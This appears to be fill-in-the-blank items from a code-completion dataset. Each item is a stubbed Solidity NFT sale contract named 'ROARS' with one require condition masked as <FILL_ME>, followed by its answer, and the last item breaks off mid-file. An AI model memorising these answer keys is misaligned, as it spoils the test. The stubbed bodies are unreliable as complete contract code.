function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
require(saleState == 1, "Sale not active");
uint256 l = tokenIds_.length;
uint256 i; unchecked { do {
require(NTP.ownerOf(tokenIds_[i]) == msg.sender, "Not Owner of token");
require(<FILL_ME>)
claim[tokenIds_[i]]++;
} while (++i < l); }
require(l * 3 >= amount_, "Exceed max claim per NFT");
require(amount_ + totalSupply() <= maxToken, "No more NFTs");
require(msg.value == phase1Price * amount_, "Value sent is not correct");
_mint(msg.sender, amount_);
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| claim[tokenIds_[i]]==0,"claimed" | 232,608 | claim[tokenIds_[i]]==0 |
"Exceed max claim per NFT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
require(saleState == 1, "Sale not active");
uint256 l = tokenIds_.length;
uint256 i; unchecked { do {
require(NTP.ownerOf(tokenIds_[i]) == msg.sender, "Not Owner of token");
require(claim[tokenIds_[i]] == 0, "claimed");
claim[tokenIds_[i]]++;
} while (++i < l); }
require(<FILL_ME>)
require(amount_ + totalSupply() <= maxToken, "No more NFTs");
require(msg.value == phase1Price * amount_, "Value sent is not correct");
_mint(msg.sender, amount_);
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| l*3>=amount_,"Exceed max claim per NFT" | 232,608 | l*3>=amount_ |
"No more NFTs" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
require(saleState == 1, "Sale not active");
uint256 l = tokenIds_.length;
uint256 i; unchecked { do {
require(NTP.ownerOf(tokenIds_[i]) == msg.sender, "Not Owner of token");
require(claim[tokenIds_[i]] == 0, "claimed");
claim[tokenIds_[i]]++;
} while (++i < l); }
require(l * 3 >= amount_, "Exceed max claim per NFT");
require(<FILL_ME>)
require(msg.value == phase1Price * amount_, "Value sent is not correct");
_mint(msg.sender, amount_);
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| amount_+totalSupply()<=maxToken,"No more NFTs" | 232,608 | amount_+totalSupply()<=maxToken |
"No more NFTs" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
require(saleState == 1, "Sale not active");
require(<FILL_ME>)
require(isWhitelisted(1, msg.sender, proof_), "You are not whitelisted!");
require(msg.value == phase2Price, "Value sent is not correct");
require(mintedP1[msg.sender] == 0, "1 max per address");
mintedP1[msg.sender]++;
_mint(msg.sender, 1);
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| 1+totalSupply()<=maxToken,"No more NFTs" | 232,608 | 1+totalSupply()<=maxToken |
"You are not whitelisted!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
